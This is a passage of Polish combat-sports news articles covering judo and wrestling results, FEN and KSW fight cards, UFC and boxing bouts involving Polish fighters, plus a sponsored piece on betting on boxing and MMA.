Ambicje Włodarczyka nadal są duże. Wygrana z Mabiką może być przystankiem do walk o zdecydowanie wyższą stawkę. Mówi się, że „Diablo” chciałby spotkać się z Ilungą Makabu.

30 listopada w Zakopanem zaprezentuje się również mistrz Polski w wadze ciężkiej Łukasz Różański. Ósmą walkę w karierze stoczy Damian Kiwior.

KM

Trzy medale judoków w Estonii

Trzy medale na swoim koncie zapisali Polacy w zawodach European Open w judo, które odbyły się w Tallinie. Na najniższym stopniu podium stanęli – Paulina Dziopa (78kg), Paula Kułaga (+78kg) oraz Kacper Szczurowski (100kg). Z kolei podczas mistrzostw świata weteranów w Marakeszu Polska wywalczyła cztery medale.

Paulina Dziopa zbiera doświadczenie w rywalizacji seniorskiej, ale w Tallinie pokazała, że nie zamierza biernie przyglądać się, lecz stawia na rozwój. Najlepszym tego dowodem jest brązowy medal. Polka stoczyła cztery walki, z których wygrała trzy. Dziopa w pokonanym polu pozostawiła młodą Litwinkę Migle Dudenaite oraz doświadczoną reprezentantkę Portugalii Yahmię Ramirez. Na drodze Polki do finału stanęła Linda Politi, która wygrała przez ippon. W starciu o brąz Dziopa pokonała Lucię Tangorre.

Trzeci medal w zawodach rangi European Open zdobyła Paula Kulaga. 23-letnia zawodniczka ostatni raz na podium stała w Madrycie w 2018 roku. Kulaga źle rozpoczęła zawody w stolicy Estonii. Po dwóch minutach rywalizacji z Tessie Savelkouls schodziła pokonana z placu boju. Kulaga trafiła do repasaży, gdzie szybko znalazła sposób na Patricę Bartulos Ferrer. Po upływie dwóch minut Polka mogła cieszyć się ze zwycięstwa, które dało jej szansę na brąz. W walce o podium trafiła na… Annę Załęczną. Zawodniczka Toruńskiego Klubu Sportowego Judo wywalczyła brąz pod koniec września w Luksemburgu. Tym razem lepsza okazała się Kulaga, która mogła cieszyć się z medalu.

W repasażach musiał rywalizować również Kacper Szczurowski. Przygoda 22-latka z Tallinem zaczęła się wręcz idealnie. Błyskawicznie pokonał Lalli Nuorteva, ale w kolejnej walce nie poradził sobie z Grigoim Minaskinem. W repasażach Polak pokonał brązowego medalistę mistrzostw świata kadetów z 2015 roku Antona Sachylovicha. Podium było bardzo blisko. Szczurowski wykonał krok w jego stronę pokonując w 42 sekundy Emila Mattssona.

Na piątym miejscu rywalizację w Tallinie zakończył Oleksii Lysenko (100kg).

Weterani z medalami

W Marakeszu odbyła się rywalizacja weteranów, którzy walczyli o medale mistrzostw świata. Po złoto sięgnął Krzysztof Wiłkomirski w kategorii 73kg, M2 (35-39 lat), który wygrał pięć pojedynków. O krok od triumfu był Paweł Sitarski – 100kg, M3 (40-44 lata), ale srebro również dostarczyło mu i kibicom wiele radości. Brązowe medale wywalczyli Marcin Rejniak – 66kg, M2 (50-54 lata) oraz Sławomir Kamiński 100kg/M5.

Fot. zdjęcie poglądowe

KM

Zakłady bukmacherskie na boks, MMA i inne sporty walki

Sporty walki znane są od zarania dziejów. Obecnie są to jedne z najpopularniejszych rodzajów dyscyplin sportowych. Co jakiś czas pojawiają się też nowe odmiany niektórych z dobrze już znanych sportów. Ta popularność sprawia, że pasjonaci tych właśnie sportów często obstawiają wyniki spotkań w zakładach bukmacherskich. Jakie są możliwości w zakresie obstawiania sportów walki? Czy do tego potrzebna jest jakaś strategia, czy wystarczy znajomość umiejętności poszczególnych zawodników? Jakie jeszcze sporty można obstawiać w zakładach bukmacherskich?

Sporty walki w zakładach bukmacherskich

Obecnie do najpopularniejszych sportów walki zalicza się boks oraz MMA. To właśnie one zbierają największą publikę oraz są chętnie obstawiane przez kibiców sportowych. W tym momencie można się zastanowić, czy do obstawiania poszczególnych spotkań potrzebna jest tutaj jakaś strategia, która pozwoli wytypować wygrywającego zawodnika? Jak się okazuje, istnieje wiele poradników, które podpowiadają, w jaki sposób obstawiać tego typu dyscypliny sportowe.

Przede wszystkim warto sprawdzić to, jak wcześniej prezentował się na ringu dany zawodnik – ile walk przegrał, a ile wygrał i w jakim stylu to zrobił (np. czy był to walkower czy wygrana na punkty). Tutaj jednak trzeba pamiętać, że niekiedy pomiędzy poszczególnymi walkami są duże odstępy czasu, więc od ostatniej mogło się w jego kondycji dużo zmienić. Warto też pamiętać, że u każdego mogą wystąpić chwilowe niedyspozycje. Pomocne w ocenie jego kondycji może być to, jak wypada na sparingach, a także to, czy startuje w swojej „stałej” kategorii wagowej, czy też zmieniał ją i jeśli tak, to na wyższą czy niższą. Co istotne w przypadku sportów walki można obstawiać nie tylko wygraną czy przegraną zawodnika. W zakładach bukmacherskich można wskazać również to, ile rund potrwa walka czy też ile punktów zdobędzie dany zawodnik, a także to, czy walka zakończy się walkowerem, czy nie. Możliwości jest tutaj naprawdę dużo.

Nie tylko sporty walki – co jeszcze można obstawiać?

""

fot. Xinhua / Pressfocus

Sporty walki to nie jedyne dyscypliny, które można obstawiać w zakładach bukmacherskich, np. w takich jak sts.pl. Dużo możliwości dają między innymi sporty drużynowe np. koszykówka, piłka nożna, czy hokej. Sporą popularnością cieszą się również: tenis oraz sporty motorowe, np. żużel. Co ciekawe obstawiać można nie tylko te popularne sporty. Bukmacherzy oferują także zakłady na rozgrywki golfa, krykieta, piłki wodnej, a nawet coraz popularniejsze zakłady na esport. Więcej informacji na temat tego, jakie dyscypliny sportowe dostępne są w zakładach bukmacherskich, można znaleźć w artykule: Które sporty warto obstawiać?

Udział w nielegalnych grach hazardowych jest karany. STS (Star-Typ Sport Zakłady Wzajemne Spółka z o.o.) posiada zezwolenie wydane przez Ministra ds. Finansów Publicznych na urządzanie zakładów wzajemnych. Hazard związany jest z ryzykiem.

FEN 26: Karta walk i kolejność pojedynków

Przedstawiamy wersję graficzną karty walk gali FEN 26 oraz kolejność pojedynków, które 12 października odbędą się we Wrocławiu.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca*
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki*
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk
-120 KG, MMA: Szymon Bajor vs Marcin Sianos
77 KG, MMA: Szymon Dusza vs Kamil Gniadek
77 KG, MMA: Tymoteusz Łopaczyk VS Michał Golasiński
84 KG, MMA: Krystian Bielski VS Adrian Bartosiński
70 KG, MMA: Łukasz Charzewski vs Krystian Blezień
86 KG, MMA: Marcin Krakowiak vs Jarosław Lech

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

Dołącz do wydarzenia na portalu Facebook:  facebook.com/events/708341146245825/

FEN Social Media:
Facebook:  facebook.com/fightexclusivenight/
Twitter:  twitter.com/fenmma
Instagram:  instagram.com/fightexclusivenight/

Krakowiak podejmie Lecha na FEN 26

Mistrz skończeń przed czasem Marcin Krakowiak (5-1, 2 KO, 3 SUB) podejmie Jarosława Lecha (5-4, 2 KO, 2 SUB) podczas gali FEN 26 we Wrocławiu. Krakowiak zastąpi tym samym Pawła Trybałę, który wypada z karty walk z powodu kontuzji. Limit tego starcia to 86 kilogramów.

Krakowiak przebojem wdarł się do organizacji FEN w marcu tego roku, gdy poddał w 3. rundzie Mateusza Strzelczyka. Za to skończenie otrzymał bonus od organizacji. We wrześniu 2019 roku efektownym high kickiem rozpawił się w premierowej odsłonie z Denisem Kudinovem. Wcześniej Krakowiak odniósł trzy zwycięstwa, wszystkie przed czasem.

Lech ma na swoim koncie 5 wygranych walk, z których cztery odniósł przed czasem. Zawodnik trenujący na co dzień w Myszkowie dwa swoje ostatnie starcia zwyciężył poddając Piotra Drozdowskiego i jednogłośnie rozprawiając się z Piotrem Walawskim. Na początku 2019 roku Lech znokautował w 1. rundzie Przemysława Welnickiego. Konfrontacja z Krakowiakiem będzie jego debiutem pod szyldem FEN.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca*
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki*
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk
-120 KG, MMA: Szymon Bajor vs Marcin Sianos
77 KG, MMA: Szymon Dusza vs Kamil Gniadek
77 KG, MMA: Tymoteusz Łopaczyk VS Michał Golasiński
84 KG, MMA: Krystian Bielski VS Adrian Bartosiński
70 KG, MMA: Łukasz Charzewski vs Krystian Blezień
86 KG, MMA: Marcin Krakowiak vs Jarosław Lech

Mistrzostwa Warszawy w Kickboxingu

Jesienią po raz pierwszy w historii odbędą się Otwarte Mistrzostwa Warszawy w Kick-boxingu. W dniach 9-10 listopada br. zawodnicy będą rywalizować w dwóch formułach: ringowej i na planszach. Dla seniorów i seniorek przygotowano zmagania w najtwardszej formule tj. K-1 Rules. Młodsi uczestnicy, w wieku 10-15 lat powalczą o prymat w Stolicy w formule Pointfighting.

Za organizację zawodów odpowiada Karol Łada (trener i twórca Warszawskiej Grandy) oraz Polski Związek Kick-boxingu. Partnerami tego przedsięwzięcia są Legia Fight Club oraz Ninja Academy Warszawa.

Na pierwszy dzień Mistrzostw zaplanowano rejestrację zawodników oraz konferencję prasową z organizatorami w budynku Hali Torwar, na ul. Łazienkowskiej 6. Po godzinie 16 tego samego dnia w siedzibie Legia Fight Club (również Torwar) rozpoczną się walki eliminacyjne.

Drugiego dnia tj. w niedzielę 10 listopada zawody przeniosą się na halę Ośrodka Sportu i Rekreacji Dzielnicy Wola przy ul. Redutowej 37. Od godzin porannych rozpoczną się walki kadetów oraz kolejne tury pojedynków seniorów i seniorek. Finały i dekorację zwycięzców zaplanowano na godziny późno-popołudniowe.

Do walki o tytuł Mistrza Warszawy przystąpić mogą zawodnicy i kluby z całej Polski oraz zza granicy- również Ci, nie będący członkami Polskiego Związku Kick-boxingu. Zgłoszenia przyjmowane są poprzez System Obsługi Imprez na stronie PZKB.

Link do wydarzenia na facebook:

https://www.facebook.com/events/601222850403762/

Komunikat organizacyjny:

http://pzkickboxing.pl/soi/169,i,mistrzostwa,warszawy,kickboxingu,formule,k,seniorow,pf,kadetow,warszawa.html

Link do zgłoszeń:

http://pzkickboxing.pl/soi/zgloszenie/169

Karol Łada: 730-005-225 , karollada.wwa@gmail.com

 

Medal Załęcznej, Sobierajska za podium

Katarzyna Sobierajska (70kg) otarła się o podium mistrzostw świata kadetów w judo, które odbyły się w Ałmatach. Polka zajęła piątą lokatę. Z brązem z zawodów Pucharu Świata w Luksemburgu wraca Anna Załęczna (+78kg, na zdjęciu).

Kolejny dobry występ Katarzyny Sobierajskiej. Zawodniczka AZS UW Warszawa znajduje się w wysokiej formie, co potwierdziła niejednokrotnie. W tym roku Sobierajska triumfowała w Pucharach Europy w Follonicy oraz Zagrzebiu. Na swoim koncie zapisała srebro zmagań w Bielsku-Białej. Sobierajska stanęła również na podium mistrzostw Europy, które odbyły się w Warszawie.

W Ałmatach młoda Polka stanęła przed kolejnym wyzwaniem. Start w mistrzostwach świata rozpoczęła od wygranej z Francuzką Juliette Diollot. W ćwierćfinale Sobierajska w nieco ponad dwie minuty uporała się z Montą Anną Olek i znalazła się w strefie medalowej. Półfinałową rywalką Polki był Moka Kuwagata. Zawodniczki doskonale się znają, bo Japonka pokonała Sobierajską w Bielsku-Białej. W Ałmatach było podobnie. Minęły trzy minuty i ippon w wykonaniu Kuwagaty zakończył walkę. Sobierajskiej pozostała rywalizacja o brąz, jednak po upływie czterech minut ze zwycięstwa mogła cieszyć się Elisabeth Pflugbeil.

Brąz Załęcznej

Ponad rok na kolejny medal Pucharu Świata czekała Anna Załęczna. Zawodniczka Toruńskiego Klubu Sportowego Judo sięgnęła po brąz w Luksemburgu. Na swojej drodze Polka spotykała wyłącznie zawodniczki z Francji. Zaczęła efektownie od wygranej przed czasem. W półfinale Załęczna przegrała z Marine Erb, która w tym roku wygrywała zawody w Cluj. W Luksemburgu Francuzka zapisała na swoim koncie kolejny triumf. Załęcznej pozostała rywalizacja o brąz z Emmą Saudrais. Z tej potyczki zwycięsko wyszła Polka.

Blisko podium była Urszula Hofman (70kg). Zmagania w Luksemburgu zaczęła od wygranej z Alison Linon, jednak w kolejnym starciu uległa Szabinie Gercsak. W repasażach Hofman uporała się z Hazel Taylor i stanęła do pojedynku o brąz z Melissą Heleine. Francuzka wygrała przez ippon. Siódmą lokatę w Luksemburgu zajął Sebastian Marcinkiewicz (81kg).

Warsaw Judo Open

1650 judoczek i judoków wzięło udział w XXI Warsaw Judo Open na Torwarze. W rywalizacji zaprezentowali się zawodnicy z Polski, Japonii, Holandii, Niemiec czy Węgier. Zmagania odbywały się w kategoriach wiekowych U16, U18 i U21. Reprezentanci polskich klubów wywalczyli dziewięć złotych medali.

Fot. Anna Załęczna Facebook

KM

B.J. Penn poza UFC

Były mistrz UFC w wadze lekkiej i półśredniej B.J. Penn kończy swoją przygodę z organizacją. 40-latek został zwolniony i pozostaje wolnym zawodnikiem.

Przez lata amerykański fighter był jedną z czołowych postaci UFC, jednak w ostatnim czasie o jego wyczynach zbyt wiele dobrego powiedzieć i napisać nie można. B.J. Penn przegrał siedem walk z rzędu, a ostatnią wygraną zanotował blisko dziewięć lat temu! To chyba mówi wszystko o formie Amerykanina.

Kwestia sportowa to tylko jeden z elementów, który rzutuje na ocenę Amerykanina. W oktagonie nie prezentował się jak za dawnych lat, ale wplątał się również w inne problemy. Jego partnerka oskarżała go o znęcanie. W związku z tym otrzymał dwuletni zakaz zbliżania się do żony i dzieci. To nie wszystkie „wyczyny” utytułowanego zawodnika. W czerwcu były mistrz UFC został wyrzucony z klubu ze striptizem na Hawajach w stanie… mocnego upojenia alkoholowego. Dodatkowo uciekł przed przyjazdem policji. Ponadto, w ostatnim czasie w internecie pojawiły się nagrania, które przedstawiają udział B.J. Penna w bójkach ulicznych.

Dotychczas mówiło się, że 40-latek pojawi się w oktagonie i zmierzy się z Nikiem Lentzem. Ostatnie wydarzenia w postaci bójek ulicznych "przelały czarę goryczy". UFC podjęło decyzję o zwolnieniu amerykańskiego fightera. Teraz B.J. Penn pozostaje wolnym i pod znakiem zapytania stoi jego sportowa przyszłość. Trudno wyrokować, czy któraś organizacja skusi się na zatrudnienie B.J. Penna w kiepskiej formie oraz notującego kolejne wpadki. Choć nie można zaprzeczyć, że to czołowa postać MMA, jednak jego najlepsze czasy dawno minęły… W styczniu 2004 roku B.J. Penn zdobył pas w wadze półśredniej pokonując Matta Hughesa. Z kolei cztery lata później wygrał z Jeo Stevensonem i sięgnął po tytuł w kategorii lekkiej, którego skutecznie bronił trzykrotnie.

B.J. Penn ma piękne wspomnienia, jednak jego obecne wybryki zaburzają ten obraz. Łącznie Amerykanin stoczył 30 pojedynków, z których 16 wygrał. Ostatnią walkę 40-latek stoczył 11 maja 2019 roku podczas UFC 237, kiedy to przegrał z Clayem Guidą.

Fot. bjpenn.com

KM

Brąz Gadżijewa

W Kazachstanie odbyły się mistrzostwa świata w zapasach. Jedyny medal dla Polski wywalczył Magomedmurad Gadżijew (70kg), który sięgnął po brąz w stylu wolnym. Kwalifikacje olimpijskie do Tokio uzyskali Roksana Zasina, Jowita Wrzesień i Tadeusz Michalik.

Dla 31-letniego Gadżijewa to drugi medal mistrzostw świata. W 2017 roku w Paryżu sięgnął po srebro, ale w kategorii 65kg. W potyczce o złoto lepszy okazał się Gruzin Zurabi Iakobiszwili. Los dał Gadżijewowi okazję do rewanżu w Kazachstanie. W Nur-Sułtan reprezentant Polski spotkał się z Gruzinem w starciu o brąz. Tym razem Iakobiszwili musiał uznać wyższość Gadżijewa i znalazł się poza podium. Pojedynek lepiej rozpoczął 31-latek pochodzący z Dagestanu, który prowadził 3:0. W końcówce pierwszej rundy Iakobiszwili przeprowadził akcję za dwa. Gadżijew nie pozwolił rywalowi na więcej i mógł cieszyć się z medalu. Reprezentant Polski w Kazachstanie wygrał cztery pojedynki. Przegrał jedynie w półfinale (2:5) z późniejszym mistrzem świata Rosjaninem Dawidem Bajewem. Warto również wspomnieć, że brąz wywalczony w Nur-Sułtan to kolejny tegoroczny sukces Gadżijewa. Zapaśnik zajął trzecie miejsce w mistrzostwach Europy w Bukareszcie.

Blisko drugiego medalu mistrzostw świata w karierze była Roksana Zasina (53kg). Zapaśniczka ZTA Zgierz zajęła ostatecznie piątą lokatę. W 1/8 finału Zasina przegrała z przyszłą złotą medalistą Pak Yong-mi z Korei Północnej i trafiła do repasaży. Tam wygrała dwa pojedynki, dzięki czemu mogła rywalizować o brąz. Ponownie na przeszkodzie stanęła jej zawodniczka z Azji. Pang Qianyu drugi raz z rzędu mogła cieszyć się z brązowego medalu mistrzostw świata, bo Zasina musiała zrezygnować z pojedynku z powodu kontuzji więzadła pobocznego w kolanie. Podium nie dla Polki, ale na pewno cieszy kwalifikacja do Tokio. Tak jak i w przypadku Jowity Wrzesień (57kg). Polka szła jak burza – wygrała trzy walki, dopiero w półfinale zatrzymała się Rong Ningning z Chin. W starciu o brąz Wrzesień przegrała 0:4 ze złotą medalistką Igrzysk Europejskich w Mińsku Iryną Kuraczkiną.

Kwalifikacja olimpijska także dla Tadeusza Michalika (97kg). Reprezentant klubu Sobieski Poznań rywalizujący w stylu klasycznym wygrał dwa pojedynki i znalazł się w ćwierćfinale. Tam trafił na poważną przeszkodę w postaci Musy Jewłojewa – mistrza Europy i ubiegłorocznego czempiona mistrzostw świata. Rosjanin pokonał Polaka i w ostatecznym rozrachunku ponownie sięgnął po złoto. Michalikowi pozostały repasaże, w których uporał się z zawodnikiem z Uzbekistanu. W starciu o brąz lepszy okazał się Micheil Kadżaia.

W mistrzostwach świata najlepiej zaprezentowali się Rosjanie, którzy zdobyli 19 medali, w tym 9 złotych. Na ich plecami USA (7 – 5,0,2) oraz Gruzja (6 – 4,0,2). Polska na 27. miejscu w klasyfikacji medalowej.

Fot. Polski Związek Zapaśniczy/United World Wrestling

KM

Intensywna jesień

KSW rozgrzeje swoich fanów jesienią. Organizacja zaplanowała dwie gale – 9 listopada w Zagrzebiu i 7 grudnia w Gliwicach.

Niedawno odbyła się jubileuszowa – 50. gala KSW, która miała miejsce w Londynie. Była to trzecia wizyta polskiej organizacji na stadionie Wembley. W przeszłości KSW gościła również w Irlandii, gdzie odbyła się gala numer 40. Włodarze organizacji otwierają się na kolejny rynek i tym razem upatrzyli sobie Zagrzeb.

W stolicy Chorwacji 9 listopada odbędzie się gala KSW 51. Rzecz jasna w stawce nie może zabraknąć zawodników z Bałkanów. Czwarty pojedynek dla federacji Martina Lewandowskiego i Macieja Kawulskiego stoczy Erko Jun. Dotychczas 29-letni Bośniak wygrał wszystkie pojedynki przed czasem. Jego rywalem będzie polujący na trzynasty triumf Mariusz Pudzianowski 42-latek przegrał ostatnie dwa pojedynki. W klatce KSW ponownie zaprezentuje się Vaso Bakocević, dla którego będzie to powrót do polskiej organizacji. W listopadzie 2015 roku przegrał z Anzorem Azhievem. Wcześniej uległ Arturowi Sowińskiemu i Maciejowi Jewtuszko. Reprezentant Czarnogóry zmierzy się z byłym czempionem wagi półśredniej Borysem Mańkowskim. Polak czeka na wygraną w KSW od blisko trzech lat.

W Zagrzebiu o pas wagi koguciej powalczy Antun Racić. 29-letni Chorwat debiutował podczas KSW 40 w Dublinie i wygrał cztery pojedynki. Po pokonaniu Damiana Janikowskiego na kolejne wyzwanie czeka Serb Aleksandar Ilić. W swoim kraju zaprezentuje się Filip Pejić, który w kwietniu wygrał przed czasem z Filipem Wolańskim.

Najpierw nowy rynek, a potem, 7 grudnia, gala KSW 52 w Gliwicach. W śląskim mieście organizacja będzie gościła drugi raz na przestrzeni roku. Gliwice nie są szczęśliwe dla Mameda Khalidova, który ma być gwiazdą gali KSW 52. W pojedynku wieczoru zmierzy się z mistrzem wagi średniej Scottem Askhamem. 1 grudnia 2018 roku Khalidov przegrał z Tomaszem Narkunem. Były mistrz ma za sobą dwie porażki z "Żyrafą" i podjął decyzję o zakończeniu kariery, jednak w lipcu wrócił do treningów. Teraz dostaje szansę powrotu na tron. Nie będzie miał łatwo. Scott Askham świetnie prezentuje się w KSW. Anglik wygrał trzy walki przed czasem, a w maju triumfował w turniej wagi ciężkiej i sięgnął po tytuł mistrzowski.

Fot. materiały promocyjne

KM

Rewanż niezagrożony

Wobec kontuzji, której Tyson Fury doznał w wygranej walce z Otto Wallinem pod znakiem zapytania stanął jego rewanż z Deontayem Wilderem. Na lutowy pojedynek olbrzym z Wilmslow ma być w pełni gotowy.

Wiele zdrowia kosztowała Tysona Fury'ego rywalizacja z Wallinem. W trzeciej rundzie 28-letni Szwed rozciął powiekę byłego mistrza świata WBA, IBF, WBO i IBO. Fury pokazał jednak ogromną wolę walki i mimo problemów z widzeniem dalej boksował. Pojedynek trwał dwanaście rund. Fury wygrał decyzją sędziów i zanotował 29. wygraną w karierze. Po pojedynku 31-latek trafił do szpitala, gdzie założono mu 47 szwów!

Zdjęcia rozciętego prawego łuku brwiowego wyglądały okropnie. Wrażliwych ten widok mógł przyprawić o mdłości. Poważny uraz, wizyta w szpitalu i od razu pojawiły się wątpliwości, czy przyszłoroczny rewanż Fury'ego z Wilderem dojdzie do skutku. Trzeba być dobrej myśli. Według lekarzy Brytyjczyk będzie mógł wrócić do sparingów po siedmiu tygodniach, a więc w listopadzie.

Druga odsłona rywalizacji Fury'ego z mistrzem WBC została zaplanowana na 22 lutego 2020 roku w Las Vegas. Pierwsze starcie (1 grudnia 2018 roku) zakończyło się remisem, choć werdykt wywołał kontrowersje. Wielu wskazywało, że to Brytyjczykowi należało się zwycięstwo, choć w trakcie walki znalazł się na deskach. Było to starcie trzymające w napięciu i pełne ciekawych wymian. Wszyscy liczą, że także rewanż dostarczy wielu emocji.

Zanim jednak Wilder spotka się z Fury'm, prawdopodobnie stoczy rewanżowe starcie z Luisem Ortizem. Pojedynek miałby się odbyć 23 listopada w Las Vegas. Wilder pokonał Ortiza 3 marca 2018 roku, kiedy to triumfował w dziesiątej rundzie. Ostatnio Amerykanin pokonał Dominica Breazeale już w pierwszej odsłonie. Kolejna walka będzie dziesiątą obroną pasa WBC dla Wildera i zarazem 43. Pojedynkiem w zawodowej karierze.

Fury będzie mógł wygodnie usiąść i z boku obserwować poczynania "Bronze Bombera". W tym roku Brytyjczyk wygrał dwie walki – z wspomnianym Wallinem i wcześniej z Tomem Schwarzem.

Fot. Tyson Fury Facebook

KM

Trudna sytuacja Tybury

Gala UFC Fight Night 158 nie była szczęśliwa dla Marcina Tybury. Polak przegrał z Augusto Sakaiem już w pierwszej rundzie. Dla Tybury była to druga porażka z rzędu i czwarta w ostatnich pięciu walkach.

Nie da się ukryć, że nad byłym mistrzem M-1 Global zebrały się czarne chmury. Sytuacja polskiego zawodnika MMA po porażce w Vancouver jest niezwykle ciężka. Inaczej na sprawę można by patrzeć, gdyby pojedynek z Brazylijczykiem zakończył się decyzją sędziów. Sakai wypunktował Tyburę w niecałą minutę. Mocny praw sierp ze strony Brazylijczyka naruszył 33-latka. Potem Sakai wyprowadził festiwal ciosów pod siatką, po czym Tybura osunął się na matę, a sędzia przetrwał starcie. Piąta porażka Polaka w UFC stała się faktem. Dodatkowo Marcin Tybura nie zaprezentował nic, co mogłoby zapaść w pamięć włodarzy organizacji i kibiców.

33-latek z Uniejowa przeżywa ciężkie chwile w UFC, a jeszcze dwa lata temu był w czołówce wagi ciężkiej. W czerwcu 2017 roku pokonał byłego czempiona wspomnianej kategorii Andreia Arlovskiego i była to jego trzecia wygrana z rzędu. Tybura był na fali. Kolejnym wyzwaniem Polaka był uznany Fabricio Werdum. Tybura przegrał na dystansie pięciu rund i od tej chwili zaczęła się jego zła passa. W kolejnym starciu przegrał z Derrickiem Lewisem. Na chwilę wyjrzało słońce – wygrana w lipcu ubiegłego roku z Stefanem Struve'm. Jednak w kolejnym starciu Tybura przegrał przed czasem z Shamilem Abdurakhimovem. Terasz lepszy okazał się Sakai. Co warto podkreślić, trzy z czterech przegranych pojedynków zakończyły się przed czasem.

Polak zaczął przygodę z UFC w kwietniu 2016 roku, kiedy to w debiucie przegrał z Timothy'm Johnsonem. W kolejnych pojedynkach prezentował wysoki poziom, co ukoronował triumfem nad Arlovskim. Nastąpił jednak kryzys… Po ponad trzech latach zawodnik znalazł się na bardzo ostrym zakręcie. Sytuacja Tybury w UFC jest bardzo ciężka. Jego akcje znacznie spadły na przestrzeni ostatnich miesięcy i nie ma, co ukryć, że przyszłość polskiego zawodnika w amerykańskiej organizacji stanęła pod ogromnym znakiem zapytania. Czy UFC da Tyburze jeszcze jedną szansę?

Fot. Marcin Tybura Facebook

KM

Włoch na drodze Szpilki

26 października podczas gali KnockOut Boxing Night 8 w Sosnowcu zaprezentuje się Artur Szpilka. Jego rywalem będzie Fabio Tuiach.

"Szpila" stoczy drugą walkę w tym roku. W lipcu przegrał przez nokaut z Dereckiem Chisorą. Z pojedynkiem z pięściarzem z Zimbabwe wiązano duże nadzieje. Zwycięstwo miało być dla Szpilki przepustką na salony, jednak Polak przegrał i ponownie znajdzie się w… przedpokoju. W Sosnowcu rozpocznie żmudną drogę, aby wrócić do światowej czołówki wagi ciężkiej.

Wiek nie ogranicza Szpilki, bo ma dopiero 30 lat. Z pewnością atutem jest jego doświadczenie. Pochodzący z Wieliczki pięściarz gromił wszystkich aż znalazł zaporę nie do przejścia w osobie Bryanta Jenningsa. Przełomowa miała być wygrana z Tomaszem Adamkiem w Krakowie w 2014 roku. Szpilka nieco uspokoił się, skupił na boksie i ponownie ruszył do Stanów Zjednoczonych. Tam w mgnieniu oka wypunktował trzech rywali i w styczniu 2016 roku w Barclays Center stanął "oko w oko" z czempionem WBC wagi ciężkiej Deontayem Wilderem. "Szpila" nie przestraszył się rywalizacji z Amerykaninem i wyglądał bardzo dobrze. Do czasu. W dziewiątej rundzie Wilder wyprowadził zabójczy cios. Szpilka znalazł się na deskach i przez dłuższy czas nie mógł z nich wstać. Miał wrócić do wygrywania w pojedynku z Adamem Kownackim. Niespodzianka… Tak wtedy oceniano zwycięstwo Kownackiego. Szpilka znalazł się na zakręcie. W jednej chwili z pozycji pretendenta do pasa spadł do II ligi. Przez moment mówiło się nawet, że "Szpila" trafi do KSW.

Polski pięściarz wrócił w maju 2018 roku. Wystąpił na gali Marcina Najmana na Stadionie Narodowym w Warszawie, gdzie pokonał Dominicka Guinna. Szpilka szukał wyzwań i kilka miesięcy później spotkał się z Mariuszem Wachem. Wygrał, ale wynik walki wzbudził kontrowersje. Chisora zatrzymał jednak Szpilkę.

Szykuje się zatem kolejny powrót 30-letniego pięściarza. Przed Szpilką długa droga, aby odbudować swoją pozycję. Może należy postępować nieco spokojniej. Oswoić się z ringiem, zanotować kilka zwycięstw, a nie szybko rzucać się na głęboką wodę. 26 października w Sosnowcu Polak spotka się z Fabio Tuiachem. Włoch wydaje się solidny rzemieślnikiem, artystą raczej na pewno nie jest. Tuiach jest byłym mistrzem Włoch i pretendentem do tytułu mistrza Europy WBO kategorii ciężkiej. Jest starszy o dziewięć lat od Szpilki i stoczył więcej walk, ale powiedzieć, że ma większe doświadczenie to spore nadużycie. Tuiach rywalizował przede wszystkim na włoskich ringach. W ostatnich pięciu walkach zanotował trzy porażki. Najpoważniejszym rywalem Tuiacha był Marco Huck, który w 2008 roku znokautował Włocha już w drugiej rundzie.

Przed Szpilką stoi proste zadanie – wygrać. Ring pokaże, czy to takie łatwe. Polak zmierzy się z rywalem, ale i presją.

KM

Souza na drodze Błachowicza

Podczas gali UFC on ESPN+ 22 (UFC Fight Night 164), która odbędzie się 16 listopada w Ibirapuera Gymnasium w Sao Paulo Jan Błachowicz zmierzy się z Ronaldo Souzą.

Robiliśmy sobie wielkie nadzieje, że jeszcze w tym roku "John" będzie miał okazję rywalizować z Jonem Jonesem o pas w kategorii półciężkiej. Błachowicz wyrażał swoją gotowość do starcia z Amerykaninem. Pojawiały się głosy, że to Polak będzie kolejnym pretendentem do pasa. Starcie o tytuł wydawało się być o krok, ale "Cieszyński Książę" i polscy kibice muszą uzbroić się w cierpliwość. W listopadzie Błachowicz uda się do Brazylii.

36-letni Polak znakomicie radzi sobie w UFC. W amerykańskiej organizacji rywalizuje od pięciu lat. Początek przygody w kratkę, jednak z pojedynku na pojedynek zawodnik rozkręcał się. Imponująca seria czterech zwycięstw sprawiła, że Błachowicz mógł myśleć o rywalizacji o pas. Na ostatniej prostej przegrał jednak z Thiago Santosem, który następnie nie dał rady Jonesowi. W lipcu w efektownym stylu Błachowicz odprawił w drugiej rundzie Luke'a Rockholda. To było jego siódme zwycięstwo w UFC. O ósme Polak powalczy 16 listopada z Ronaldo Souzą, który rywalizuje w amerykańskiej organizacji od stycznia 2013 roku. Wcześniej Brazylijczyk był mistrzem Strikeforce w wadze średniej.

Wydaje się, że 39-letni Souza najlepsze lata ma za sobą, jednak jest niezwykle groźny. Błachowicz musi być czujny w parterze, a i w stójce Brazylijczyk potrafi być niebezpieczny. Aż 22 z 26 wygranych walk Souza zakończył przed czasem. Ostatnio jego występy to istna sinusoida. W kwietniu przegrał na dystansie pięciu rund z Jackiem Hermanssonem, jednak wcześniej pokonał przez nokaut Chrisa Weidmana. W maju 2018 roku zanotował porażkę w starciu z Kelvinem Gastelumem. Co warto podkreślić, podczas gali w Brazylii Souza zadebiutuje w kategorii półciężkiej

Pozostaje czekać na występ Błachowicza w Sao Paulo. Polak wydaje się być nieznacznym faworytem starcia z Souzą. Jeśli wygra, walka o pas wydaje się być nieuchronną. Choć los płata różne figle…

16 listopada kolejną walkę w UFC stoczy była mistrzyni KSW Ariane Lipski. Jej rywalką będzie Priscila Cachoeira.

Fot. Jan Błachowicz Facebook

KM

Dziewięć medali Polaków

Udany występ polskich judoków w Pucharze Europy w Bratysławie. Biało-czerwoni wywalczyli dziewięć medali i zajęli drugie miejsce w klasyfikacji medalowej. Lepsi byli tylko Niemcy.

